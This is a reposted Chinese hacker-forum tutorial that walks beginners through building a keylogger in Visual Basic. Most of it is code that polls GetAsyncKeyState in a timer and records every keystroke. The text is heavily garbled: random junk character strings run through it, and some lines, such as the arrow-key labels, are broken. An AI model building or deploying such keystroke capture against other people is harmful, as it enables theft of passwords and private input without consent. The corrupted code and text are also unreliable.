手把手教你做键盘记录器

韩冰

作者：小珂 转自黑基BBS原创作品版 版权归黑客基地所有， 转载请注明出处

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前几天写了一篇键盘记录器，好多人反映看不懂， 5 P7 v6 Q7 \ c+ S( \; X5 N4 k对新人没什么用处，所以且这篇我会写的 0 _" D' g: W! w6 {" I: J) K: h很详细，再也不像那篇，出了代码什么也没 ^!^ ) X( }0 t5 e P9 j [8 ~这个程序将会详细的讲解如何记载键盘的每一次输入。 下面介绍的这个程序主要是利用GetAsyncKeyState函数， 使用GetAsyncKeyState可以获得键盘的动作。 % ]9 C7 ^+ x$ n. lGetAsyncKeyState函数根据虚拟键表判断按键的类型。 返回值为一个16位的二进值数，如果被按下则最高位为1， 即返回-32767。下面是API函数及鼠标中左右键在虚拟键表中的定义： Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer 好了，函数就先介绍这么多，下面开始动手实战了 7 [# t" A' _1 _first,当然是创建窗口了 9 t. U9 v1 A( o' \; v0 B 1 G, d& l# g- J在时间控件的Timer时间中定义检查按键类型，代码如下： Dim AddKey KeyResult = GetAsyncKeyState(13) '回车键 If KeyResult = -32767 Then AddKey = "[ENTER]" 2 f: @ t! v4 f, ~ GoTo KeyFound End If 9 p2 J( l) T: x5 x KeyResult = GetAsyncKeyState(17) 'Ctrl键 If KeyResult = -32767 Then AddKey = "[CTRL]" ) B, c1 K& }4 t4 H) v; [) \9 ^ GoTo KeyFound 0 O! O9 |0 p/ s7 v End If KeyResult = GetAsyncKeyState(8) '退格键 ) p( {# M* f) d# e6 U, n5 ~ If KeyResult = -32767 Then AddKey = "[BKSPACE]" ' D8 {3 [0 ]9 J: [- M GoTo KeyFound 7 w! C$ E7 S9 ^, L& r0 K6 [' n$ } End If KeyResult = GetAsyncKeyState(9) 7 s) f3 X1 a( N- E; f+ f If KeyResult = -32767 Then / E0 z h( f8 E4 X! n AddKey = "[TAB]" " {8 W9 S) S% E% @* Q6 ] GoTo KeyFound End If $ J( R- v( g1 F9 z# ] Y/ D' a7 X1 ^" y" t* ]8 \( g+ d! k/ C6 y KeyResult = GetAsyncKeyState(18) 9 Y2 U& i0 C; y9 K4 {# x. F If KeyResult = -32767 Then AddKey = "[ALT]" + k- P/ `& X4 E: y2 \7 i4 d GoTo KeyFound : @9 t5 ~% v, g3 }: D; ~ End If 2 W2 p7 g+ F, t KeyResult = GetAsyncKeyState(19) If KeyResult = -32767 Then 4 d0 W! V6 ^, Q+ R. z- f- [9 i* _' ] AddKey = "[PAUSE]" GoTo KeyFound End If KeyResult = GetAsyncKeyState(20) If KeyResult = -32767 Then AddKey = "[CAPS]" 4 m2 h9 t8 [, S3 g8 } GoTo KeyFound 4 j! M0 _5 m- O }5 B0 v End If S; c9 W @; ~8 J9 S5 I KeyResult = GetAsyncKeyState(27) If KeyResult = -32767 Then " v/ j: \# L! k3 d8 U: R AddKey = "[ESC]" 3 l# X5 }# s1 X6 i4 n% t G GoTo KeyFound + j7 H# S$ ~! N; B End If 3 y8 W2 D$ v5 c3 z: T $ y, W2 k3 l. {7 i6 X/ {: e KeyResult = GetAsyncKeyState(33) If KeyResult = -32767 Then AddKey = "[PGUP]" GoTo KeyFound 2 z2 r8 m1 W/ K" ?( w8 v ]( a End If 4 f# y1 e: s: h5 U" U: W, { KeyResult = GetAsyncKeyState(34) If KeyResult = -32767 Then AddKey = "[PGDN]" GoTo KeyFound 6 T0 @8 u6 x! y9 C6 s End If 9 y9 N% L& X" r6 c+ v. F/ l6 P KeyResult = GetAsyncKeyState(35) If KeyResult = -32767 Then AddKey = "[END]" GoTo KeyFound End If & ~. l2 S w8 l! g9 S& b, Z ( H1 U+ i+ @% L* s7 C9 X KeyResult = GetAsyncKeyState(36) ' H* a z% q6 D# ^ If KeyResult = -32767 Then ! ^! e8 r! b' y, @ AddKey = "[HOME]" . \# x3 s, k" S1 s: [% F GoTo KeyFound ' w' [- f" i7 Q3 V* v End If 5 g, V4 H$ o7 p, \. Z1 U8 |8 r KeyResult = GetAsyncKeyState(44) If KeyResult = -32767 Then AddKey = "[SYSRQ]" GoTo KeyFound End If ! k9 H- {0 f: }- t/ R7 j7 W" g KeyResult = GetAsyncKeyState(45) If KeyResult = -32767 Then AddKey = "[INS]" GoTo KeyFound 6 v0 e; I) k# Z0 e5 v End If * i/ k5 H# h S x ( x) X/ I$ R5 T6 I KeyResult = GetAsyncKeyState(46) ! f- h, c6 F* U8 Y( _ If KeyResult = -32767 Then AddKey = "[DEL]" 0 `' L4 [. T/ y! n GoTo KeyFound End If 0 p0 u0 D4 {. x KeyResult = GetAsyncKeyState(144) If KeyResult = -32767 Then AddKey = "[NUM]" 6 ` T1 [7 F B0 v0 j6 x F) D GoTo KeyFound End If KeyResult = GetAsyncKeyState(37) If KeyResult = -32767 Then 7 A, w$ a1 O/ Y2 S; D AddKey = "

" GoTo KeyFound 8 r# U( X8 v4 H End If ; A; n; S/ |# \ KeyResult = GetAsyncKeyState(38) 4 g% ~/ `, T( K! I6 l If KeyResult = -32767 Then AddKey = "[UP]" 1 Z" e! u* x7 f6 l- M+ z GoTo KeyFound % b4 L; L) |+ A End If KeyResult = GetAsyncKeyState(39) If KeyResult = -32767 Then 2 Z' f1 m( [8 ? c5 C1 k# |: a7 ~ AddKey = "

" * v3 D6 f3 U- J: ? GoTo KeyFound End If 9 ?6 ]: k1 g. a5 C$ X KeyResult = GetAsyncKeyState(40) 7 V p2 `. M. M If KeyResult = -32767 Then . P2 [7 i4 Q- l4 b, t( H' O2 X AddKey = "[DOWN]" GoTo KeyFound " Z% J: \2 b1 E# A b+ ?7 E% x End If 7 g: Y2 {1 i* u 5 ^& P" }6 j+ \# o1 o6 C6 o KeyResult = GetAsyncKeyState(112) If KeyResult = -32767 Then AddKey = "[F1]" GoTo KeyFound ' N5 z, |$ m# s0 N% j End If 2 i! R2 Q& e: t2 V1 c5 cKeyResult = GetAsyncKeyState(113) If KeyResult = -32767 Then AddKey = "[F2]" ; f# e- b. u0 j6 e, Q, W9 S GoTo KeyFound $ J3 m7 G1 ]7 w' p& s End If , h$ N0 D4 c7 p$ Z) L8 z# N KeyResult = GetAsyncKeyState(114) If KeyResult = -32767 Then AddKey = "[F3]" ; C1 z+ J, s0 @6 a: G GoTo KeyFound End If ; R9 X" o+ D% h: L) | 5 W% c9 N ~2 S! IKeyResult = GetAsyncKeyState(115) If KeyResult = -32767 Then 3 B; F: ]# e5 u( T* a AddKey = "[F4]" & X0 ]4 L2 _8 p GoTo KeyFound e7 X( A# X6 c7 y# E% u& } End If KeyResult = GetAsyncKeyState(116) If KeyResult = -32767 Then ' h- @& a) I7 y6 A6 i6 S {7 {* _ AddKey = "[F5]" GoTo KeyFound & e) G4 z1 J8 O0 X; | End If + @# A& Y! G& q4 b KeyResult = GetAsyncKeyState(117) 1 _8 J4 {' i* u0 x7 g- c If KeyResult = -32767 Then ; K3 t( O' p9 L9 q AddKey = "[F6]" GoTo KeyFound , j* A6 |- v7 c3 z End If KeyResult = GetAsyncKeyState(118) If KeyResult = -32767 Then AddKey = "[F7]" GoTo KeyFound End If 6 V, o9 y, i9 _KeyResult = GetAsyncKeyState(119) If KeyResult = -32767 Then 7 q# V: `4 [% y1 \( F AddKey = "[F8]" ) k; a5 X/ R( j& ^2 E7 [$ W R5 U GoTo KeyFound End If - z" z% @1 V+ D( \4 `6 T- d KeyResult = GetAsyncKeyState(120) - X7 @# h- a: e1 e) j* E1 _/ f5 J If KeyResult = -32767 Then 0 p7 @9 I5 I' i0 o0 m7 S& G AddKey = "[F9]" . k$ T1 P9 A8 _+ X+ b( g GoTo KeyFound End If / } z& p7 L4 V! \ 4 q7 V# u0 T) } G |6 E1 UKeyResult = GetAsyncKeyState(121) $ Q+ s* F+ e$ D; W8 Y) l& @/ a If KeyResult = -32767 Then AddKey = "[F10]" ( b# V( L, ], D$ h& U) o- }. w GoTo KeyFound ! _. i; N$ L3 z) V c& C/ e* a End If KeyResult = GetAsyncKeyState(122) If KeyResult = -32767 Then AddKey = "[F11]" GoTo KeyFound End If ; P" E, Z* g7 ^# c3 d; d2 M KeyResult = GetAsyncKeyState(123) If KeyResult = -32767 Then U. T( R6 U) E AddKey = "[F12]" : f$ s& ]( u1 {1 s' F: `3 f& `; a GoTo KeyFound : Y7 I4 w. i# k End If ) m! ]6 a! b P KeyResult = GetAsyncKeyState(124) 5 g2 {! d; h; D6 H4 Z( }. C& C If KeyResult = -32767 Then AddKey = "[F13]" GoTo KeyFound 1 |) k$ Y0 ^0 r. r End If KeyResult = GetAsyncKeyState(125) 2 T3 g: _" r& l) N+ @4 b If KeyResult = -32767 Then AddKey = "[F14]" GoTo KeyFound & e+ _, j$ J& h" x a7 V" h End If ' A7 `/ {: n) m , r( T, {! y7 a! I" xKeyResult = GetAsyncKeyState(126) 7 n8 i1 `! i4 n v, ?7 ^ If KeyResult = -32767 Then ?( q3 ]. D5 y$ H: a0 N7 ^ AddKey = "[F15]" ' R: u" _. p8 K% @3 a GoTo KeyFound - \+ s# }6 p$ t End If , J4 W+ N* ^! m KeyResult = GetAsyncKeyState(127) , _3 M) d& J$ G( w If KeyResult = -32767 Then 6 ^1 {8 s, {* R7 Q AddKey = "[F16]" $ m2 k$ T7 H9 p# S2 l. y4 m GoTo KeyFound 8 E7 K! d8 w6 v9 m1 V1 {+ U- n' G0 G9 @ End If KeyResult = GetAsyncKeyState(32) If KeyResult = -32767 Then & U( o0 N; }; y5 ^1 f9 X AddKey = " " GoTo KeyFound End If ! A \3 H4 U( v8 z KeyResult = GetAsyncKeyState(186) ; I: }0 R$ _& |0 K/ L' d) q+ P j3 h If KeyResult = -32767 Then : D- l& w0 @# ^ AddKey = ";" GoTo KeyFound End If + v' R/ ?+ Q& z' \6 x KeyResult = GetAsyncKeyState(187) If KeyResult = -32767 Then % c( Q' a8 @! ]0 G w3 W2 w# Z& b5 n AddKey = "=" ) J/ x3 ]% G2 u6 `3 K; d GoTo KeyFound . [" ?6 I5 W3 {, X3 D$ i End If + g( X; d% H# F0 k: z1 K KeyResult = GetAsyncKeyState(188) If KeyResult = -32767 Then - r, o$ L4 u7 m AddKey = "," # K# z/ u- o* c2 D GoTo KeyFound 9 J. ^6 O. i |7 a9 { End If 3 {; m! G9 K" l) Y; X" EKeyResult = GetAsyncKeyState(189) $ v- n" k( ^1 m1 B9 J If KeyResult = -32767 Then AddKey = "-" : p# x% z4 J6 ~) N& R GoTo KeyFound End If $ O& V9 ~5 u% ` KeyResult = GetAsyncKeyState(190) 8 ]3 r: p0 f* Z8 ` If KeyResult = -32767 Then AddKey = "." GoTo KeyFound 6 C5 _0 ]* }% y( ~; l$ U7 S End If ! [7 ^* ^9 |6 [KeyResult = GetAsyncKeyState(191) If KeyResult = -32767 Then # f5 M3 v* z; u; Z' P4 L AddKey = "/" '/ GoTo KeyFound End If 4 F( f* Y2 L$ x! C% |( GKeyResult = GetAsyncKeyState(192) If KeyResult = -32767 Then AddKey = "`" '` GoTo KeyFound End If 9 X6 g3 J) v u9 p' t8 V* O9 M2 d : q; O9 L1 c; d1 S7 _' E4 a'----------NUM PAD ' }" b+ `* r* X: C& zKeyResult = GetAsyncKeyState(96) ! C9 }: d# P* c8 c1 [3 [ If KeyResult = -32767 Then , p8 V) q1 q) V& \* p( a3 e AddKey = "0" Q- e# H4 _: [& Y, w0 J7 |3 E GoTo KeyFound 3 U0 q) p `1 l; Y End If - \+ C0 ]+ V }: D) u2 z! P @* `KeyResult = GetAsyncKeyState(97) If KeyResult = -32767 Then AddKey = "1" ! i( M! o# V( ]1 V5 p GoTo KeyFound End If 0 H0 g) l' v$ F: |$ T8 T% v8 z0 N , X; q6 w! m$ f4 QKeyResult = GetAsyncKeyState(98) If KeyResult = -32767 Then AddKey = "2" 1 r( l( Q" ?! c, B/ h4 E GoTo KeyFound End If 1 ^' |: b) x$ [" K+ N' Q+ j7 ^" CKeyResult = GetAsyncKeyState(99) 0 m8 O2 `; u9 v4 i5 w/ ]; H If KeyResult = -32767 Then AddKey = "3" GoTo KeyFound ' n9 {1 r; N: }; _2 M7 `' t0 f End If : x/ P4 E; E r5 U& _3 Y! y, ^ KeyResult = GetAsyncKeyState(100) If KeyResult = -32767 Then * G, \0 F+ @0 u% o" M AddKey = "4" 5 Z9 ~7 B4 p' e" L4 _ R; [" Y GoTo KeyFound 3 L5 S* x N8 o# r' O( F6 z: L1 Y) o4 v, c, ~ End If 2 m4 K9 P, u" C& ]% s1 BKeyResult = GetAsyncKeyState(101) + G* n* O* [. o( o+ f: S' l( G If KeyResult = -32767 Then AddKey = "5" GoTo KeyFound v8 V- L3 h6 V End If . c& u7 W! A1 P7 W yKeyResult = GetAsyncKeyState(102) If KeyResult = -32767 Then : U& U1 L) T+ H/ S- s AddKey = "6" , `, ?# |+ t6 ^' W+ F& }$ |% w GoTo KeyFound End If 7 ^+ k) \+ H0 y) v: y( |# Z$ @2 G KeyResult = GetAsyncKeyState(103) 9 G$ i9 T& y- F0 F! W0 t If KeyResult = -32767 Then , K# _0 E# G$ ~4 Z: l AddKey = "7" 3 i A! ~: C# P/ Y- w GoTo KeyFound End If & e! S4 ^" t) b9 F( N- b6 B4 r; f8 s2 K " w& P& p# R1 u B" a! R$ O3 uKeyResult = GetAsyncKeyState(104) . E$ o" O3 p- M. F8 O* r. c% L If KeyResult = -32767 Then AddKey = "8" GoTo KeyFound End If + |4 A7 y6 P2 }, W" S9 M6 q - a2 j+ @+ r. X/ G% S5 W) \KeyResult = GetAsyncKeyState(105) If KeyResult = -32767 Then / b o4 a7 m2 d2 v4 }% d( ? AddKey = "9" GoTo KeyFound , J. p6 C$ P# | n" ]- e6 Z( ~; ~ End If ) x6 F8 \2 m6 B/ ]7 e9 W1 w+ x KeyResult = GetAsyncKeyState(106) " i: H$ P1 k3 K* A If KeyResult = -32767 Then - l% H4 v/ F! Y/ W: \ AddKey = "*" ) X1 W9 @5 r8 R4 w GoTo KeyFound End If KeyResult = GetAsyncKeyState(107) If KeyResult = -32767 Then " A5 M+ y% W) \0 n9 i) K0 } AddKey = "+" GoTo KeyFound End If KeyResult = GetAsyncKeyState(108) If KeyResult = -32767 Then : }% |. H4 i, U, A1 }$ k AddKey = "[ENTER]" GoTo KeyFound End If 0 K" I+ M2 f4 IKeyResult = GetAsyncKeyState(109) If KeyResult = -32767 Then AddKey = "-" 1 x L9 `" v# a) B2 m. ^ GoTo KeyFound {9 l" b$ a+ { ?- U. V; v e End If ; S& @( X. k. {KeyResult = GetAsyncKeyState(110) If KeyResult = -32767 Then AddKey = "." GoTo KeyFound " z) I* v: n) A; J! ]8 t, e( p/ T End If " u0 j5 _ B9 }! W6 s1 Q: O- G! _ RKeyResult = GetAsyncKeyState(2) 2 z! }+ l9 {" v4 i8 q If KeyResult = -32767 Then AddKey = "/" GoTo KeyFound End If 5 m4 G8 }) u% a M7 }* L( f( D8 P4 r 5 n H1 P. P1 s4 u3 a4 C- E% S1 _; LKeyResult = GetAsyncKeyState(220) If KeyResult = -32767 Then ' Y4 C4 e, X: d* x: x5 F. D; o4 e AddKey = "\" GoTo KeyFound * v5 i, ~9 }1 F- l End If KeyResult = GetAsyncKeyState(222) If KeyResult = -32767 Then 0 `# m$ V8 K( |9 E% s& Q% W6 j2 J AddKey = "'" GoTo KeyFound End If ) H+ b" u3 B! P1 W. R9 t( s' F A& R. M0 u8 |" f3 Y5 V/ N* a% gKeyResult = GetAsyncKeyState(221) \' Y8 e; j& l" v If KeyResult = -32767 Then AddKey = "]" & f6 R9 L! K$ g5 Y 6 V$ Q$ i1 e$ j( k$ k GoTo KeyFound End If ' Q1 j. f8 F4 S# l: K2 e! a: uKeyResult = GetAsyncKeyState(219) b7 [( Q1 }; b4 O If KeyResult = -32767 Then ! W# m5 h$ B" K9 C! L# ]- ? t AddKey = "[" GoTo KeyFound End If / Y4 a4 ]/ t6 f" S0 Q$ _5 P( P' TKeyResult = GetAsyncKeyState(16) 'shift键 If KeyResult = -32767 And TimeOut = 0 Then $ I, r5 K, T0 a8 E5 `; W3 Z+ D; M2 e AddKey = "[SHIFT]" $ ` O6 c, E* `+ U LastKey = AddKey TimeOut = 1 GoTo KeyFound 6 f" O8 C c: v& p: j End If 8 N9 C4 L) L! w$ R1 ?3 s KeyLoop = 41 6 ^7 d$ p. y3 e7 q ' l* V) \! Z" }5 X; q Do Until KeyLoop = 256 ' 显示其他键 KeyResult = GetAsyncKeyState(KeyLoop) / ^1 ?, ^* u! r5 n4 K If KeyResult = -32767 Then Text1.Text = Text1.Text + Chr(KeyLoop) ' ]' I: d$ J# X& ^( |# C; L# |7 d KeyLoop = KeyLoop + 1 + v# j5 b. O7 z: `$ C l+ V Loop LastKey = AddKey 9 ^6 [2 N1 U: |$ I8 o& J% R/ h Exit Sub ) B% {- f; V0 l9 ^6 V5 o0 vKeyFound: '显示键的信息 . f3 o5 {# j: Q* g- NText1 = Text1 & AddKey End Sub 4 ?( X3 h$ ~; M' r9 i% i上面的（）里面的数字实际是就是那些键的Ascii码，比如13就代表回车，17代表Ctrl，…… 由于数目太多，一一列举不方便 现提供Ascii表一份供对照 http://www.cstudy.cn/repository/ascii/default.htm * i1 P$ O# y3 O下面是其他的事件 , d/ j( \; _0 Z0 z+ i/ y1 R0 QPrivate Sub Timer2_Timer() TimeOut = 0 ( ^7 u: U# o: c( `3 dEnd Sub ( y W8 L" W, P- H目的是随时刷新清空 & @% x: p3 t, M( x0 ]4 M: k/ K8 Z